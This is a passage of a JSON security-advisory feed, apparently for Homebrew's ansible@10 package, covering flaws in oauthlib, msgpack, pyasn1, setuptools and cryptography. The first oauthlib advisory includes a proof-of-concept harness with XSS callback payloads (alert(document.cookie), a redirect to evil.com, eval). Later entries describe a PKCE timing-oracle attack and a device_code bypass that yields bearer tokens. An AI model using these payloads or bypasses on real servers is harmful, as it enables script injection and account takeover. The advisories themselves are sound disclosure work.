RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n        \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n    assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}] Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\", http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json  Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\": \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n  [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200] Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200] Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False, default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker's payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint's response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n        request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49264"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/951"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-49265","published":"2026-09-30T19:48:26Z","modified":"2026-10-14T09:04:23Z","upstream":["GHSA-xpv3-w29h-x7cv","CVE-2026-49265","PYSEC-2026-4114"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)","details":"## Summary\n\nA timing side-channel vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization Code Grant flow. The `code_challenge_method_plain` function \nuses Python's standard `==` operator for string comparison instead of a \nconstant-time comparison function, potentially allowing timing-based attacks.\n\n## Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n- Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n- Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n## Technical Details\n\nPython's `==` operator uses short-circuit evaluation when comparing strings:\n1. Returns `False` immediately if lengths differ\n2. Compares characters left-to-right, stopping at first mismatch\n\nThis means comparison time varies linearly with the length of the common prefix \nbetween the attacker-supplied verifier and the stored challenge, creating a \nmeasurable timing oracle.\n\n## Proof of Concept\n\nTested locally against oauthlib source (network jitter eliminated to isolate \npure Python execution time):\n\n| Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 + `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe ~37ms delta over 10M iterations corresponds to nanosecond-level differences \nper call, which are statistically exploitable under controlled conditions.\n\n## Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom URI Scheme Hijacking\n2. PKCE blocks token request — attacker lacks `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint measuring response times\n4. Using timing oracle, attacker recovers `code_verifier` character by character\n5. Attacker obtains Access Token → Account Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use nature of \n> authorization codes and real-world network noise. However, the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n## Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time comparison:\n\ncr: Elvin Latifli","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49265"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/963"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-49272","published":"2026-10-28T08:58:55Z","modified":"2026-11-09T09:48:26Z","upstream":["GHSA-3jp2-3mrg-2vxc","CVE-2026-49272"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"4.0.1","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@3.3.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"3.3.1","key":"pkg:pypi/oauthlib@3.3.1","resource":"oauthlib"}]},"summary":"OAuthLib: Bearer token can be retrieved as long as client knows a valid client ID for device workflow","details":"### Summary\nA call to the token endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"` and a bogus `device_code` is able to get a bearer token as long as they know a valid client ID enabled for the device workflow.\n\n### Details\n\n[Section 3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4) says that the token endpoint should take in `device_code` as a required parameter.`DeviceCodeGrant.validate_token_request` does not perform any validation of `device_code`. `DeviceCodeGrant.validate_token_request` should be validating that `device_code` was passed in as a parameter and that it is valid, similar to how `AuthorizationCodeGrant.validate_token_request` does the checks [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446) and [here](https://github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI would like to propose a new method be added to `RequestValidator` called `validate_device_code` that is similar to the `validate_code` method and is called inside of `DeviceCodeGrant.validate_token_request`.\n\n### PoC\nCreate an implementation of `RequestValidation.authenticate_client` that returns `True` if the client's `client_type` is `\"public\"`. You would find yourself in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request` where it doesn't properly handle public clients (see https://github.com/oauthlib/oauthlib/issues/919).\n\nCreate a client that has a `client_type` of `\"public\"` and set it's `grant_type` to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation of `RequestValidation.authenticate_client` done, use that validator for your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\": <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n  \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou now have a bearer token for the client without a valid `device_code`.\n\n\n### Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't realize the `device_code` parameter is not being validated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/954"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-57585","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-6v7p-g79w-8964","CVE-2026-57585","PYSEC-2026-3625"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.1","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.1.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.1.2","key":"pkg:pypi/msgpack@1.1.2","resource":"msgpack"}]},"summary":"MessagePack for Python: Out-of-bounds read / crash on Unpacker reuse after a caught error","details":"### Impact\n\nIf the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.\n\nIf the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.\n\n### Patches\n\nv1.2.1\n\n### Workarounds\n\nUsers should create a new Unpacker instead of reusing the same Unpacker after an error occurs.\n\nApplying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.\n\nTherefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-6v7p-g79w-8964"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/2c56ddb5d0025ed481d962c0f5d62d19dec7476d"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-59884","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884","PYSEC-2026-3455"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","details":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59884"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-59885","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885","PYSEC-2026-3456"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","details":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59885"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-59886","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886","PYSEC-2026-3457"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.1","key":"pkg:pypi/pyasn1@0.6.1","resource":"pyasn1"}]},"summary":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","details":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as <overflow>.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-59890","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:56Z","upstream":["GHSA-h35f-9h28-mq5c","BIT-setuptools-2026-59890","CVE-2026-59890","PYSEC-2026-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"83.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@80.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"80.9.0","key":"pkg:pypi/setuptools@80.9.0","resource":"setuptools"}]},"summary":"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+","details":"## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py  (FileList.global_exclude)\ndef global_exclude(self, pattern):\n    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD\n    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_café.txt    # rule saved NFC\n```\n\nand an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59890"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/dd9f436a36486b4cb8a4c70a2321548b0be09b8f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2026-3447.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v83.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-69247","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:55Z","upstream":["GHSA-g6cj-pr64-35w5","CVE-2026-69247","PYSEC-2026-3552"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"50.0.0","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing","details":"### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable ways, one of which disclosed the exact length recovered from the\nRSA operation. The same distinction was also observable by timing. An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` → build an AES\ncipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218 mitigation:\n\n1. invalid RSA padding → `Decryption failed`\n2. valid padding, bad key length → `Invalid key size (N) for AES.`, disclosing `N`\n3. correct length, wrong key → `Invalid padding bytes.`\n4. the real key → plaintext\n\nCase 1 is reachable only where the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic plaintext of\npseudorandom length, so the error channel does not distinguish conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively at high volume, such as\nan S/MIME gateway or mail filter.\n\n### Fix\n\nPer RFC 3218, the content-encryption algorithm is now resolved before the\nprivate key is used, so the expected key length is known in advance. If the RSA\ndecryption fails or recovers a key of the wrong length, a random key of the\nexpected length is substituted and decryption continues down an identical path.\nAll failures now report identically and perform the same work.\n\n### Not addressed by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries per byte, without recovering any key, on every backend. This\nis a property of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library, and is now documented.\n\n### Credit\n\nReported by @X1AOxiang.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5"},{"type":"WEB","url":"https://github.com/pyca/cryptography/pull/15369"},{"type":"WEB","url":"https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f"},{"type":"PACKAGE","url":"https://github.com/pyca/cryptography"}]},{"schema_version":"1.7.3","id":"BREW-ansible@10-CVE-2026-69248","published":"2026-08-13T16:35:22Z","modified":"2026-10-08T00:10:55Z","upstream":["GHSA-m2h6-j472-rp4c","CVE-2026-69248","PYSEC-2026-3554"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@10","purl":"pkg:brew/ansible%4010"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.7.0_4"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"49.0.0","resource":"cryptography","resource_purl":"pkg:pypi/cryptography@46.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"cryptography","subject_version":"46.0.3","key":"pkg:pypi/cryptography@46.0.3","resource":"cryptography"}]},"summary":"python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees","details":"### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### 